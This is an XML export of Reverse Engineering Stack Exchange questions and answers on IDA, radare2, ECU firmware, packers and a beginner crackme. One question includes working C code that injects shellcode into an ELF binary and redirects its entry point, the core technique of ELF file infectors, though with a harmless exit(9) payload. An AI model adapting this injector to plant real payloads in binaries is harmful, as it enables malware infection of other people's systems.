  <row Id="21386" PostTypeId="1" CreationDate="2019-05-28T19:01:29.607" Score="4" ViewCount="128" Body="&lt;p&gt;Based on what explained &lt;a href=&quot;https://www.inkntoneruk.co.uk/ink-cartridge-news/how-to-disable-hp-cartridge-protection/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, genuine ink cartridges may come with cartridge protection embedded in their chip. Once an ink cartridge is installed, printer will mark it as protected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is embedded in the chip? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can we make sure that it is original and not duplicated with a 3rd party? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a safe and well-known offline security protocol? (it will be great if some one can point me to a reference about it)&lt;/p&gt;&#xA;" OwnerDisplayName="Shabnam" LastEditorUserId="53" LastEditDate="2019-06-03T11:01:07.050" LastActivityDate="2019-06-03T11:01:07.050" Title="How does cartridge protection distinguish an original vs fake cartridge?" Tags="|hardware|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21387" PostTypeId="2" ParentId="21384" CreationDate="2019-05-29T18:18:22.953" Score="4" Body="&lt;p&gt;Classic way:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;File-Produce File-&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/445.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dump typeinfo to IDC...&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the other IDA instance, File-Script File..., choose file from step 1.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&quot;New&quot; way:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;View-Subviews-Local Types (&lt;kbd&gt;Shift+F1&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Select all (&lt;kbd&gt;Ctrl-A&lt;/kbd&gt;), Right click, Export to header&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;OR:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1+2. File-Produce File-&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/141.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Create C header file...&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;In the other IDA instance, first make sure Options-Compiler... settings are identical, then:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3a. File-Load File-&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1367.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Parse C header file...&lt;/a&gt;, choose file from previous steps. OR:&lt;br&gt;&#xA;3b. Open Local types, Ins, paste the contents of the header file (or individual structs if you need only specific ones).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;P.S. second way does not copy struct attributes which cannot be represented in C (e.g. hex/decimal/binary/string representations, non-0-based pointers etc.)&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-05-29T18:18:22.953" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21390" PostTypeId="1" AcceptedAnswerId="21479" CreationDate="2019-05-30T06:12:59.663" Score="1" ViewCount="1800" Body="&lt;p&gt;I'm trying to conduct a little experiment which basically consists of changing the EP of an ELF file and executing an exit(9) syscall, without returning to the OEP. As shown in the image everything seems fine &lt;a href=&quot;https://i.stack.imgur.com/zGzAC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zGzAC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I run the original program it segfaults rather than exiting via the &lt;em&gt;exit(9)&lt;/em&gt;, I can't figure out why. &lt;strong&gt;What's really happening here?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; &#xA;Here's how I'm changing the entry-point:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;#include &amp;lt;sys/mman.h&amp;gt;&#xA;#include &amp;lt;elf.h&amp;gt;&#xA;#include &amp;lt;stdint.h&amp;gt;&#xA;#include &amp;lt;sys/stat.h&amp;gt;&#xA;#include &amp;lt;fcntl.h&amp;gt;&#xA;#include &amp;lt;errno.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;&#xA;#define INVALID_IDX -32&#xA;#define PAGE_SIZE   4096&#xA;&#xA;int check_elf(uint8_t *, char **);&#xA;&#xA;&#xA;&#xA;&#xA;// exit(9) &#xA;unsigned char shellcode[] = &quot;\x48\x31\xc0&quot;&#xA;                &quot;\xb0\x3c&quot;&#xA;                &quot;\x40\xb7\x09&quot;&#xA;                &quot;\x0f\x05&quot;;&#xA;&#xA;&#xA;unsigned char nop_sled[] = &quot;\x90\x90\x90\x90\x90&quot;&#xA;               &quot;\x90\x90\x90\x90\x90&quot;&#xA;               &quot;\x90\x90\xcc\x90\x90&quot;&#xA;               &quot;\x90\x90\x90\x90\x90&quot;;&#xA;&#xA;&#xA;int main(int argc, char **argv)&#xA;{&#xA;    int fd, i;&#xA;    uint8_t *mapped_file;&#xA;    struct stat st;&#xA;    char *interp;&#xA;    int magic = 1337;&#xA;&#xA;    Elf64_Ehdr *ehdr = NULL;&#xA;    Elf64_Phdr *phdr = NULL;&#xA;    Elf64_Shdr *shdr = NULL;&#xA;&#xA;    if (argc &amp;lt; 2)&#xA;    {&#xA;        printf(&quot;Usage: %s &amp;lt;executable&amp;gt;\n&quot;, argv[0]);&#xA;        exit(EXIT_SUCCESS);&#xA;    }&#xA;&#xA;    fd = open(argv[1], O_RDWR);&#xA;&#xA;    if (fd &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;open&quot;);&#xA;        exit(EXIT_FAILURE);&#xA;    }&#xA;&#xA;    if (fstat(fd, &amp;amp;st) &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;fstat&quot;);&#xA;        exit(EXIT_FAILURE);&#xA;    }&#xA;&#xA;    /* map whole executable into memory */&#xA;    mapped_file = mmap(NULL, st.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);&#xA;&#xA;    if (mapped_file &amp;lt; 0)&#xA;    {&#xA;        perror(&quot;mmap&quot;);&#xA;        exit(EXIT_FAILURE);&#xA;    }&#xA;&#xA;    check_elf(mapped_file, argv);&#xA;&#xA;    ehdr = (Elf64_Ehdr *) mapped_file;&#xA;    phdr = (Elf64_Phdr *) &amp;amp;mapped_file[ehdr-&amp;gt;e_phoff];&#xA;    shdr = (Elf64_Shdr *) &amp;amp;mapped_file[ehdr-&amp;gt;e_shoff];&#xA;&#xA;&#xA;    if (ehdr-&amp;gt;e_type != ET_EXEC)&#xA;    {&#xA;        fprintf(stderr, &quot;%s is not an ELF executable.\n&quot;, argv[1]);&#xA;        exit(EXIT_FAILURE);&#xA;    }&#xA;&#xA;    printf(&quot;Program entry point: %08x\n&quot;, ehdr-&amp;gt;e_entry);&#xA;&#xA;&#xA;    char jmp_code[7];&#xA;    int text_found = 0;&#xA;    uint64_t parasite_addr;&#xA;    uint64_t text_end;&#xA;    size_t parasite_len = strlen(shellcode);&#xA;    int text_idx = INVALID_IDX;&#xA;    for (i = 0; i &amp;lt; ehdr-&amp;gt;e_phnum; ++i)&#xA;    {&#xA;&#xA;        if (text_found)&#xA;        {&#xA;            phdr[i].p_offset += PAGE_SIZE;&#xA;            continue;&#xA;        }&#xA;&#xA;&#xA;        if (phdr[i].p_type == PT_LOAD &amp;amp;&amp;amp; phdr[i].p_flags == ( PF_R | PF_X))&#xA;        {&#xA;            // set parasite  to the end of the text segment&#xA;            parasite_addr = phdr[i].p_vaddr + phdr[i].p_filesz;&#xA;            text_end = phdr[i].p_vaddr + phdr[i].p_filesz;&#xA;&#xA;            printf(&quot;TEXT SEGMENT ends at 0x%x\n&quot;, text_end);&#xA;            text_idx = i;&#xA;&#xA;            puts(&quot;Changing entry point...&quot;);&#xA;            ehdr-&amp;gt;e_entry = (Elf64_Addr)parasite_addr;&#xA;&#xA;            memmove(mapped_file + phdr[i].p_offset + phdr[i].p_filesz, &#xA;                    shellcode, parasite_len);&#xA;&#xA;&#xA;&#xA;&#xA;            phdr[i].p_filesz += parasite_len;&#xA;            phdr[i].p_memsz += parasite_len;    &#xA;&#xA;            text_found++;&#xA;        }&#xA;&#xA;&#xA;    }&#xA;&#xA;    //patch sections&#xA;&#xA;    for (i = 0; i &amp;lt; ehdr-&amp;gt;e_shnum; ++i)&#xA;    {&#xA;        if (shdr-&amp;gt;sh_offset &amp;gt;= parasite_addr)&#xA;            shdr-&amp;gt;sh_offset += PAGE_SIZE;&#xA;&#xA;        else&#xA;            if (shdr-&amp;gt;sh_size + shdr-&amp;gt;sh_addr == parasite_addr)&#xA;                shdr-&amp;gt;sh_size += parasite_len;&#xA;    }&#xA;&#xA;    ehdr-&amp;gt;e_shoff += PAGE_SIZE;&#xA;    close(fd);&#xA;&#xA;&#xA;}&#xA;&#xA;&#xA;&#xA;int check_elf(uint8_t *mapped_file, char **argv)&#xA;{&#xA;    const uint8_t magic[] = {0x7F, 'E', 'L', 'F'};&#xA;&#xA;    if (memcmp(magic, mapped_file, sizeof(magic)))&#xA;    {&#xA;        fprintf(stderr, &quot;%s is not an ELF file.\n&quot;, argv[1]);&#xA;        exit(EXIT_FAILURE);&#xA;    }&#xA;&#xA;    return 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for the program whose entry-point i'm trying to change it's just a simple hello world.&lt;/p&gt;&#xA;" OwnerUserId="14535" LastEditorUserId="14535" LastEditDate="2019-06-13T17:07:30.573" LastActivityDate="2019-06-13T20:46:05.717" Title="Changing entry-point of and ELF file" Tags="|linux|elf|x86-64|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21392" PostTypeId="1" AcceptedAnswerId="21395" CreationDate="2019-05-30T14:28:53.260" Score="0" ViewCount="142" Body="&lt;p&gt;I have a (non-malicious) PE exe that I'm analyzing, which is using the Themida/WinLicense packer and noticed that it has 479 defined exports, which seems odd for an exe. Some of the functions are specific to the application, others are from the boost and QT libraries. Any idea why this would be? Is it a side effect of Themida, or a mistake by the app developers?&lt;/p&gt;&#xA;" OwnerUserId="25478" LastActivityDate="2019-05-30T15:55:21.207" Title="Large number of exports defined in a PE .exe file" Tags="|pe|unpacking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21394" PostTypeId="1" CreationDate="2019-05-30T15:41:22.710" Score="2" ViewCount="157" Body="&lt;p&gt;Is it possible to invert the stack view when debugging in radare2 such that higher addresses are at the top?&lt;/p&gt;&#xA;" OwnerUserId="28579" LastActivityDate="2019-07-01T09:06:58.907" Title="Invert stack view in radare2" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21395" PostTypeId="2" ParentId="21392" CreationDate="2019-05-30T15:55:21.207" Score="1" Body="&lt;p&gt;Most of the time it is just a benign side effect of linking in code that exposes their APIs as DLL exports. It is fairly common for 3rd party middleware/libraries to do this so that their code will work in both DLLs and EXEs without modification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For boost, any of their methods that are marked with &lt;code&gt;BOOST_SYMBOL_EXPORT&lt;/code&gt; will get tagged for DLL export:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Defines the syntax of a C++ language extension that indicates a symbol is to be exported from a shared library. If the compiler has no such extension, the macro is defined with no replacement text.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I have seen some EXE binaries explicitly export function entry points for easier communication back and forth between DLL plugins, but this is a lot more rare the the above case.&lt;/p&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2019-05-30T15:55:21.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21396" PostTypeId="1" AcceptedAnswerId="21447" CreationDate="2019-05-31T01:16:20.737" Score="4" ViewCount="1054" Body="&lt;p&gt;I'm working on disassembling a flash dump from a TriCore TC1766 which came from a car (an MT86 ECU). My goal is to identify tables and scalars in the data area, and determine what they are used for. I used a heat map analysis to locate 200+ potential tables based on a pattern I found and I verified my results were (mostly) valid based on some known table locations. The table dimensions are known as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since i'm working blind with only a disassembler (IDA Pro), I'm finding it difficult to even get started. I know the addresses for a few tables and 2 scalars but I cannot find any references to them in the disassembled code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that each of the table values and the scalers need to be converted in some way to get the correct values. For example, A scalar located at 0x30D4C has the following bytes F8 D9 and when reversed, are an integer of 55,800 which is then multiplied by 0.125 to get the target value of 6975 which is the maximum RPM that the ECU will let the engine spin to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking if I could find where the operations were that did this conversion, i'd have a place to start navigating. But, I'm not really sure how the operations would be done, would it be a multiply opcode or would it be bit shifting? I have no idea what compiler options were used or what optimizations were used when the code was built. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some techniques I can use to find where these memory locations are referenced?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heat map of a known table that is 13x19&#xA;&lt;a href=&quot;https://i.stack.imgur.com/SK9SD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SK9SD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same table in IDA before the analysis&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kNZqW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kNZqW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same table in IDA after the analysis&#xA;&lt;a href=&quot;https://i.stack.imgur.com/NbtnZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NbtnZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I look for any XREFs on dword_208C8 there aren't any&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/biEBB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/biEBB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28584" LastEditorUserId="28584" LastEditDate="2019-05-31T17:27:14.320" LastActivityDate="2019-06-10T00:31:51.057" Title="How to identify memory access locations" Tags="|disassembly|embedded|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="21397" PostTypeId="2" ParentId="17342" CreationDate="2019-05-31T10:40:18.250" Score="1" Body="&lt;p&gt;In meantime there is already a German version. But that one used the HMI file with an hexeditor and they replaced character by character.&#xA;But now is another person busy with replacing them better&#xA;&lt;a href=&quot;https://www.reddit.com/r/RCD_330/comments/bh6p0j/wip_language_translations_rcd_330_ce_types/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.reddit.com/r/RCD_330/comments/bh6p0j/wip_language_translations_rcd_330_ce_types/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is here downloadable&#xA;&lt;a href=&quot;https://www.reddit.com/r/RCD_330/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.reddit.com/r/RCD_330/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28587" LastActivityDate="2019-05-31T10:40:18.250" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21398" PostTypeId="2" ParentId="21053" CreationDate="2019-05-31T12:03:33.297" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Am I missing something here???&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, you aren't. It's just a switch statement with identical branches.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;why is IDA analyzing it like this or, if this is a compiler issue that what the reason behind this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;IDA is analysing it this way, because it just shows the disassembly of the machine code produced. The compiler could have produced a code more efficient both with respect to size and speed, but probably just optimization wasn't turned on while compiling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;void nextFun()&#xA;{&#xA;&#xA;}&#xA;&#xA;int main()&#xA;{&#xA;    int a;&#xA;    std::cin &amp;gt;&amp;gt; a;&#xA;    switch (a % 6)&#xA;    {&#xA;    case 0:&#xA;        nextFun();&#xA;        break;&#xA;    case 1:&#xA;        nextFun();&#xA;        break;&#xA;    case 2:&#xA;        nextFun();&#xA;        break;&#xA;    case 3:&#xA;        nextFun();&#xA;        break;&#xA;    case 4:&#xA;        nextFun();&#xA;        break;&#xA;    case 5:&#xA;        nextFun();&#xA;        break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It contains just six cases, but after compilation illustrates the way how resulting machine code will look like. After compiling it with GCC with optimizations turned off and opening with IDA:&lt;a href=&quot;https://i.stack.imgur.com/eMS3z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eMS3z.png&quot; alt=&quot;IDA-switch-statement&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it is possible that such a machine code was indeed produced by compiler, especially when it didn't optimize it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is the reason for writing such a code?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect that it's either done purposely to have the possibility to patch the binary later on and change program behaviour for some remainders, or just the program author originally wanted the program behaving differently for different remainders, but then changed his mind and just left the switch statement in such a form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other possible, though not likely scenario is that the &lt;code&gt;nextFun&lt;/code&gt; checks for the place where it was called and depending on that chooses relevant code path - it would be just an obfuscated switch statement.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-05-31T12:03:33.297" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21399" PostTypeId="2" ParentId="21140" CreationDate="2019-05-31T12:54:33.267" Score="2" Body="&lt;p&gt;According to &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/615.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;HexRays IDA support&lt;/a&gt;, this means an error. In IDA help (press &lt;code&gt;F1&lt;/code&gt;), under the &lt;code&gt;Problems List&lt;/code&gt; header you have the list of possible problems encountered during analysis. In your case it seems to be &lt;code&gt;BADSTACK&lt;/code&gt;, which means:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The value of the stack pointer at the end of the function is different&#xA;          from its value at the start of the function. [...] The most probable cause is that stack tracing has failed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You will see each line causing this problem in the &lt;code&gt;List of problems&lt;/code&gt; window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The description how to fix this problem is included in the IDA help as well, below the problem description.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-05-31T12:54:33.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21400" PostTypeId="1" CreationDate="2019-05-31T13:39:22.633" Score="0" ViewCount="150" Body="&lt;p&gt;I have a .exe program file compiled using Intel Fortran 8.1 for Windows under WinXP with 64-bit Windows 10 system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I edit the code off the .exe file? I need to change a value in the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="28591" LastActivityDate="2019-05-31T16:09:11.133" Title="I have a .exe program file compiled using Intel Fortran 8.1. for windows 10. Can I edit the code off the .exe file?" Tags="|file-format|executable|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21401" PostTypeId="2" ParentId="20776" CreationDate="2019-05-31T14:54:37.647" Score="1" Body="&lt;p&gt;It may be easily done using &lt;a href=&quot;http://www.ollydbg.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OllyDbg&lt;/a&gt;. Just load the executable and press &lt;code&gt;F9&lt;/code&gt; - execution should be passed to the main module of application. Then, in the panel where the instructions are displayed, right click, then select &lt;code&gt;Search for&lt;/code&gt;-&gt;&lt;code&gt;All intermodular calls&lt;/code&gt; like below:&lt;a href=&quot;https://i.stack.imgur.com/Mydit.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mydit.png&quot; alt=&quot;Olly-intermodular_calls&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should see the window looking similar to this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1z0Ax.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1z0Ax.png&quot; alt=&quot;Olly-intermodular_calls_window&quot;&gt;&lt;/a&gt;&#xA;After that click the &lt;code&gt;Destination&lt;/code&gt; tab (that will sort the list alfabetically) and search for &lt;code&gt;MessageBoxW&lt;/code&gt; function. Then choose any of the references to this function and double click on it - you will see a call to it in the main window highlighted on grey. Then press &lt;code&gt;F2&lt;/code&gt; to set a software breakpoint there, then click &lt;code&gt;View&lt;/code&gt;-&gt;&lt;code&gt;Call stack&lt;/code&gt; and finally &lt;code&gt;F9&lt;/code&gt; to continue execution to that breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the execution hits it, the &lt;code&gt;Call stack&lt;/code&gt; window will contain the list of subsequent function calls that led to &lt;code&gt;MessageBoxW&lt;/code&gt; call.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-05-31T14:54:37.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21403" PostTypeId="1" CreationDate="2019-05-31T17:12:50.167" Score="1" ViewCount="264" Body="&lt;p&gt;I've been struggling to understand a very strange piece of x86 assembly code from the &lt;a href=&quot;http://security.cs.rpi.edu/courses/binexp-spring2015/lectures/2/challenges.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;IOLI&lt;/a&gt; &lt;em&gt;crackme0x06&lt;/em&gt; challenge.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Context&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;But first of all, here is the context : I've successfully cracked the challenge, which by the way simply needs : &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;An &lt;strong&gt;&lt;em&gt;even&lt;/em&gt;&lt;/strong&gt; number&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This number being &lt;strong&gt;&lt;em&gt;in the range of 32-bit representation of signed integers&lt;/em&gt;&lt;/strong&gt;, ie between &lt;img src=&quot;https://latex.codecogs.com/gif.latex?%5Cinline%20-2%5E%7B31%7D&quot; alt=&quot;-2^31&quot;&gt; (&lt;code&gt;INT32_MIN&lt;/code&gt;) and &lt;img src=&quot;https://latex.codecogs.com/gif.latex?%5Cinline%202%5E%7B31%7D-1&quot; alt=&quot;2^31-1&quot;&gt; (&lt;code&gt;INT32_MAX&lt;/code&gt;) (due to the call to &lt;a href=&quot;https://stackoverflow.com/questions/51972234/sscanf-handles-maximal-unsigned-integer-value-differently-than-assignment-does&quot;&gt;sscanf&lt;/a&gt; which apparently performs &lt;a href=&quot;https://en.wikipedia.org/wiki/Saturation_arithmetic&quot; rel=&quot;nofollow noreferrer&quot;&gt;integer saturation&lt;/a&gt; on the input if it's greater than &lt;code&gt;INT32_MAX&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;An &lt;strong&gt;&lt;em&gt;environment variable&lt;/em&gt;&lt;/strong&gt; - whose name shall begin by '&lt;strong&gt;&lt;em&gt;LOL&lt;/em&gt;&lt;/strong&gt;' - being exported in the &lt;em&gt;crackme&lt;/em&gt; process environment. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;The issue&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now, for completeness purposes, I'm trying to grasp the purpose of every single instruction of this &lt;em&gt;crackme&lt;/em&gt;, but so far, I'm struggling to understand how the following code (from &lt;code&gt;##loop beginning&lt;/code&gt; to &lt;code&gt;##loop end&lt;/code&gt;) from the &lt;code&gt;sym.parell&lt;/code&gt; function is actually useful in anyway to the program :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;    0804851a &amp;lt;parell&amp;gt;:    &#xA;     804851a:       push   ebp&#xA;     804851b:       mov    ebp,esp&#xA;     804851d:       sub    esp,0x18&#xA;     8048520:       lea    eax,[ebp-0x4]&#xA;     8048523:       mov    DWORD PTR [esp+0x8],eax&#xA;     8048527:       mov    DWORD PTR [esp+0x4],0x804873d&#xA;     804852f:       mov    eax,DWORD PTR [ebp+0x8]&#xA;     8048532:       mov    DWORD PTR [esp],eax&#xA;     8048535:       call   80483c8 &amp;lt;sscanf@plt&amp;gt;&#xA;     804853a:       mov    eax,DWORD PTR [ebp+0xc]&#xA;     804853d:       mov    DWORD PTR [esp+0x4],eax&#xA;     8048541:       mov    eax,DWORD PTR [ebp-0x4]&#xA;     8048544:       mov    DWORD PTR [esp],eax&#xA;     8048547:       call   80484b4 &amp;lt;dummy&amp;gt;&#xA;     804854c:       test   eax,eax&#xA;     804854e:       je     8048586 &amp;lt;parell+0x6c&amp;gt;&#xA;     8048550:       mov    DWORD PTR [ebp-0x8],0x0   # Initialization of i (see pseudo-code below)&#xA;     8048557:       cmp    DWORD PTR [ebp-0x8],0x9   ## loop beginning&#xA;     804855b:       jg     8048586 &#xA;     804855d:       mov    eax,DWORD PTR [ebp-0x4]   # Handling password's parity check&#xA;     8048560:       and    eax,0x1&#xA;     8048563:       test   eax,eax&#xA;     8048565:       jne    804857f &amp;lt;parell+0x65&amp;gt;&#xA;     8048567:       mov    DWORD PTR [esp],0x8048740&#xA;     804856e:       call   80483b8 &amp;lt;printf@plt&amp;gt;&#xA;     8048573:       mov    DWORD PTR [esp],0x0&#xA;     804857a:       call   80483e8 &amp;lt;exit@plt&amp;gt;&#xA;     804857f:       lea    eax,[ebp-0x8]&#xA;     8048582:       inc    DWORD PTR [eax]&#xA;     8048584:       jmp    8048557 &amp;lt;parell+0x3d&amp;gt;     ## loop end&#xA;     8048586:       leave&#xA;     8048587:       ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems to be equivalent to the following pseudo-code :&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    for (int i = 0; i &amp;lt;= 9; ++i)&#xA;            if LSB (password) is 0    // ie if password is an even number&#xA;                printf(&quot;Password OK!\n&quot;);&#xA;                exit(0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the thing is, &lt;strong&gt;&lt;em&gt;looping from 0 to 9&lt;/em&gt;&lt;/strong&gt; won't do &lt;em&gt;anything relevant&lt;/em&gt; for the parity check of the number ...&lt;br&gt;&#xA;And as far as the password testing is concerned, the computation taking place in the &lt;code&gt;sym.parell&lt;/code&gt; function is &lt;em&gt;never&lt;/em&gt; impacted by such a loop !&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've been scratching my head over that for hours, but I really couldn't figure out its exact purpose.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had this challenge not been for beginners (by the way it's the first &lt;em&gt;hands-on lab&lt;/em&gt; of the &lt;strong&gt;&lt;a href=&quot;http://security.cs.rpi.edu/courses/binexp-spring2015/&quot; rel=&quot;nofollow noreferrer&quot;&gt;RPISEC&lt;/a&gt;&lt;/strong&gt; academic course), I would have thought that this is just some silly &lt;em&gt;obfuscation/junk code&lt;/em&gt; technique meant to deflect the attention of the attacker, which is obviously not the case.&lt;br&gt;&#xA;This series of challenges is only aiming at helping newbies build strong basics in the field.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Am I wrong ?&lt;br&gt;&#xA;So, seriously, what is the aforementioned code's purpose in this program ?&lt;/p&gt;&#xA;" OwnerUserId="24851" LastEditorUserId="24851" LastEditDate="2019-06-09T10:44:19.980" LastActivityDate="2019-06-09T10:44:19.980" Title="Mysterious chunk of code in IOLI crackme0x06 challenge" Tags="|disassembly|x86|c|obfuscation|crackme|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
